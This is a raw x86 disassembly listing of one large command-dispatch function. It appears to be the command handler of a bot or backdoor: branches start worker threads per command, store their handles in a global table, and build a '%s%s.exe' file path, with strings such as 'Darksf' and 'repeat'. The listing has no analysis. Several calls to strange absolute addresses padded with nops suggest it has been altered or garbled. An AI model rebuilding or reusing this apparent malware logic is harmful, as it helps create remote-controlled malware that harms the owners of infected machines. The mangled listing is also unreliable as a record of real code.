		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 28h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_407984:				; CODE XREF: sub_401ACD+4DA9j
					; sub_401ACD+4DC0j
		push	edi
		call	dword_4CBA14
		push	[ebp+arg_18]
		mov	[ebp+var_680], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41BFD0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A910
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C92C
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407A66


loc_407A50:				; CODE XREF: sub_401ACD+5F97j
		cmp	[ebp+var_670], ebx
		jnz	loc_403D46
		push	32h
		call	near ptr 26A068Bh
		nop
		jmp	short loc_407A50
; ---------------------------------------------------------------------------


loc_407A66:				; CODE XREF: sub_401ACD+5F81j
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42AA00
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407A77:				; CODE XREF: sub_401ACD+4D7Bj
					; sub_401ACD+4D92j
		push	edi
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1130],	eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1134],	eax
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_88]
		mov	[ebp+var_123C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_1120],	eax
		push	[ebp+var_1134]
		lea	eax, [ebp+var_1234]
		mov	[ebp+var_1124],	edi
		push	eax
		push	[ebp+var_1130]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A8D4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_112C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_123C]
		push	ebx
		push	eax
		push	offset loc_410DAB
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_112C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407B63


loc_407B4D:				; CODE XREF: sub_401ACD+6094j
		cmp	[ebp+var_111C],	ebx
		jnz	loc_403D46
		push	32h
		call	near ptr 26A068Bh
		nop
		jmp	short loc_407B4D
; ---------------------------------------------------------------------------


loc_407B63:				; CODE XREF: sub_401ACD+607Ej
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42A890
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407B74:				; CODE XREF: sub_401ACD+4D4Dj
					; sub_401ACD+4D64j
		push	0FFh
		lea	eax, [ebp+var_287C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	0FFh
		lea	eax, [ebp+var_277C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		mov	[ebp+var_2678],	ebx
		call	sub_41C159
		mov	[ebp+var_2674],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407BCD
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_266C],	eax
		jmp	short loc_407BD3
; ---------------------------------------------------------------------------


loc_407BCD:				; CODE XREF: sub_401ACD+60EAj
		mov	[ebp+var_266C],	ebx


loc_407BD3:				; CODE XREF: sub_401ACD+60FEj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407BEA
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_2670],	eax
		jmp	short loc_407BF0
; ---------------------------------------------------------------------------


loc_407BEA:				; CODE XREF: sub_401ACD+610Cj
		mov	[ebp+var_2670],	ebx


loc_407BF0:				; CODE XREF: sub_401ACD+611Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2668],	eax
		lea	eax, [ebp+var_28FC]
		mov	[ebp+var_2900],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_2660],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A864
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_267C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2900]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		mov	ecx, [ebp+var_267C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407CA1


loc_407C8B:				; CODE XREF: sub_401ACD+61D2j
		cmp	[ebp+var_265C],	ebx
		jnz	loc_407196
		push	32h
		call	near ptr 26A068Bh
		nop
		jmp	short loc_407C8B
; ---------------------------------------------------------------------------


loc_407CA1:				; CODE XREF: sub_401ACD+61BCj
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42A824
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407CB2:				; CODE XREF: sub_401ACD+4D1Fj
					; sub_401ACD+4D36j
		push	7Fh
		lea	eax, [ebp+var_3494]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3414]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3394]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3314]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3290],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_328C],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3498],	esi
		push	edi
		push	offset unk_42A7E8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3294],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3498]
		push	ebx
		push	eax
		push	offset byte_41561D
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_3294]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407D89


loc_407D73:				; CODE XREF: sub_401ACD+62BAj
		cmp	[ebp+var_3288],	ebx
		jnz	loc_407196
		push	32h
		call	near ptr 26A068Bh
		nop
		jmp	short loc_407D73
; ---------------------------------------------------------------------------


loc_407D89:				; CODE XREF: sub_401ACD+62A4j
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42A7B0
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407D9A:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j
		push	7Fh
		lea	eax, [ebp+var_306C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2FEC]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2F6C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2EEC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3070],	esi
		push	edi
		push	offset unk_42A780
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_2E6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3070]
		push	ebx
		push	eax
		push	offset dword_414358
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_2E6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407E71


loc_407E5B:				; CODE XREF: sub_401ACD+63A2j
		cmp	[ebp+var_2E60],	ebx
		jnz	loc_407196
		push	32h
		call	near ptr 26A068Bh
		nop
		jmp	short loc_407E5B
; ---------------------------------------------------------------------------


loc_407E71:				; CODE XREF: sub_401ACD+638Cj
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42A748
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407E82:				; CODE XREF: sub_401ACD+4AC9j
					; sub_401ACD+4AE0j ...
		push	7Fh
		lea	eax, [ebp+var_3CE8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3C68]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3BE8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3B68]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		push	20h
		lea	eax, [ebp+var_3AE8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3CF0],	esi
		push	edi
		push	offset unk_42A718
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3CEC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CF0]
		push	ebx
		push	eax
		push	offset byte_4135DF
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		mov	ecx, [ebp+var_3CEC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407F6A


loc_407F54:				; CODE XREF: sub_401ACD+649Bj
		cmp	[ebp+var_3A60],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_407F54
; ---------------------------------------------------------------------------


loc_407F6A:				; CODE XREF: sub_401ACD+6485j
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42A6E0
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407F7B:				; CODE XREF: sub_401ACD+4A9Bj
					; sub_401ACD+4AB2j
		push	7Fh
		lea	eax, [ebp+var_177C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	3Fh
		mov	[ebp+var_162C],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16FC]
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_407FC6
		push	3Fh
		lea	eax, [ebp+var_16BC]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_407FC6:				; CODE XREF: sub_401ACD+64E5j
		lea	eax, [ebp+var_16FC]
		mov	[ebp+var_1628],	1
		push	eax
		lea	eax, [ebp+var_177C]
		push	[ebp+var_162C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A6B0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1624],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1780]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_1624]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408052


loc_40803C:				; CODE XREF: sub_401ACD+6583j
		cmp	[ebp+var_1620],	ebx
		jnz	loc_406BFE
		push	32h
		call	near ptr 26A068Bh
		nop
		jmp	short loc_40803C
; ---------------------------------------------------------------------------


loc_408052:				; CODE XREF: sub_401ACD+656Dj
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset dword_42A674
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408063:				; CODE XREF: sub_401ACD+4A5Bj
					; sub_401ACD+4A72j
		push	[ebp+arg_18]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D68],	eax
		jle	loc_408156
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1EF0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D64],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF4],	eax
		lea	eax, [ebp+var_1DF0]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_1D5C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A648
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1D70],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF4]
		push	ebx
		push	eax
		push	offset byte_413A29
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		mov	ecx, [ebp+var_1D70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408145


loc_408133:				; CODE XREF: sub_401ACD+6676j
		cmp	[ebp+var_1D58],	ebx
		jnz	short loc_4081AD
		push	32h
		call	near ptr 26A068Bh
		nop
		jmp	short loc_408133
; ---------------------------------------------------------------------------


loc_408145:				; CODE XREF: sub_401ACD+6664j
		call	near ptr 26B0669h
		nop
		push	eax
		push	offset unk_42A610
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_408156:				; CODE XREF: sub_401ACD+65A7j
		push	offset unk_42A5D8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408160:				; CODE XREF: sub_401ACD+4A2Dj
					; sub_401ACD+4A44j
		push	[ebp+arg_18]
		push	edi
		call	near ptr 26D0D07h
		nop
		test	eax, eax
		jz	short loc_40818D
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A5B4
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_4081AD
; ---------------------------------------------------------------------------


loc_40818D:				; CODE XREF: sub_401ACD+669Fj
		push	offset dword_42A5A8
		call	sub_418699
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360


loc_4081AA:				; CODE XREF: sub_401ACD+548Dj
					; sub_401ACD+73C5j
		add	esp, 0Ch


loc_4081AD:				; CODE XREF: sub_401ACD+20DCj
					; sub_401ACD+2E89j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4081CA:				; CODE XREF: sub_401ACD+56E4j
		call	sub_409869
		add	esp, 14h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_4081D7:				; CODE XREF: sub_401ACD+49FFj
					; sub_401ACD+4A16j
		push	edi
		lea	eax, [ebp+var_3F08]
		push	104h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_408211
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408211
		push	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_408211:				; CODE XREF: sub_401ACD+6722j
					; sub_401ACD+6733j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F8C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CFC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF8],	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		lea	eax, [ebp+var_3F08]
		push	eax
		push	offset unk_42A578
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3D00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8C]
		push	ebx
		push	eax
		push	offset dword_417054
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_3D00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4082C3


loc_4082B1:				; CODE XREF: sub_401ACD+67F4j
		cmp	[ebp+var_3CF4],	ebx
		jnz	short loc_4082DE
		push	32h
		call	near ptr 26A068Bh
		nop
		jmp	short loc_4082B1
; ---------------------------------------------------------------------------


loc_4082C3:				; CODE XREF: sub_401ACD+67E2j
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42A53C


loc_4082CF:				; CODE XREF: sub_401ACD+909j
					; sub_401ACD+A47j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4082DE:				; CODE XREF: sub_401ACD+7C5j
					; sub_401ACD+930j ...
		push	1
		pop	esi
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_4082E6:				; CODE XREF: sub_401ACD+49D1j
					; sub_401ACD+49E8j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	edi
		mov	[ebp+var_63C], esi
		call	sub_41C159
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408323
		mov	[ebp+var_638], 5


loc_408323:				; CODE XREF: sub_401ACD+684Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406BFE
		lea	eax, [ebp+var_E34]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 2680B8Eh
		nop
		test	eax, eax
		jnz	short loc_40836E
		push	offset unk_42A518
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40836E:				; CODE XREF: sub_401ACD+6895j
		push	edi
		push	offset dword_42A4FC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408379:				; CODE XREF: sub_401ACD+49A3j
					; sub_401ACD+49BAj
		push	[ebp+arg_18]
		push	offset aDarksf	; "Darksf"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084F0
		lea	eax, [ebp+var_4BF8]
		push	eax
		push	104h
		call	near ptr 26D0000h
		nop
		push	0FFh
		lea	eax, [ebp+var_25D4]
		push	edi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_17D4]
		push	eax
		call	sub_40AB77
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_4BF8]
		push	eax
		lea	eax, [ebp+var_24D4]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23D0],	1
		mov	[ebp+var_23CC],	ebx
		jz	short loc_40840E
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408414
; ---------------------------------------------------------------------------


loc_40840E:				; CODE XREF: sub_401ACD+692Bj
		mov	[ebp+var_23C4],	ebx


loc_408414:				; CODE XREF: sub_401ACD+693Fj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40842B
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_23C8],	eax
		jmp	short loc_408431
; ---------------------------------------------------------------------------


loc_40842B:				; CODE XREF: sub_401ACD+694Dj
		mov	[ebp+var_23C8],	ebx


loc_408431:				; CODE XREF: sub_401ACD+695Cj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23C0],	eax
		lea	eax, [ebp+var_2654]
		mov	[ebp+var_2658],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23BC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4C4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_23D4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2658]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		mov	ecx, [ebp+var_23D4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4084DF


loc_4084C9:				; CODE XREF: sub_401ACD+6A10j
		cmp	[ebp+var_23B4],	ebx
		jnz	loc_406BFE
		push	32h
		call	near ptr 26A068Bh
		nop
		jmp	short loc_4084C9
; ---------------------------------------------------------------------------


loc_4084DF:				; CODE XREF: sub_401ACD+69FAj
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset dword_42A488
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_4084F0:				; CODE XREF: sub_401ACD+68BDj
		push	offset dword_42A440


loc_4084F5:				; CODE XREF: sub_401ACD+2E30j
					; sub_401ACD+447Dj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_408508:				; CODE XREF: sub_401ACD+4975j
					; sub_401ACD+498Cj
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		push	edi
		call	sub_41C159
		add	esp, 28h
		test	eax, eax
		jle	short loc_408591
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 26A068Bh


loc_408591:				; CODE XREF: sub_401ACD+6AAEj
		push	offset dword_42A41C
		call	sub_415D38
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4085A5:				; CODE XREF: sub_401ACD+4947j
					; sub_401ACD+495Ej
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408664
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset unk_42A404
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_408664:				; CODE XREF: sub_401ACD+6B1Dj
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D0
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_408678:				; CODE XREF: sub_401ACD+74E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_408699
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_408699:				; CODE XREF: sub_401ACD+6BAEj
					; sub_401ACD+71C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_4086AA:				; CODE XREF: sub_401ACD+4919j
					; sub_401ACD+4930j
		push	7Fh
		lea	eax, [ebp+var_2218]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2198]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2118]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2094],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_221C],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2090],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A39C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2098],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_221C]
		push	ebx
		push	eax
		push	offset byte_414F57
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_2098]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40876E


loc_408758:				; CODE XREF: sub_401ACD+6C9Fj
		cmp	[ebp+var_208C],	ebx
		jnz	loc_40885A
		push	32h
		call	near ptr 26A068Bh
		nop
		jmp	short loc_408758
; ---------------------------------------------------------------------------


loc_40876E:				; CODE XREF: sub_401ACD+6C89j
		call	near ptr 26B0669h
		nop
		push	eax
		push	offset unk_42A360
		jmp	loc_40884B
; ---------------------------------------------------------------------------


loc_40877F:				; CODE XREF: sub_401ACD+48EBj
					; sub_401ACD+4902j
		push	7Fh
		lea	eax, [ebp+var_23AC]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_232C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_22AC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
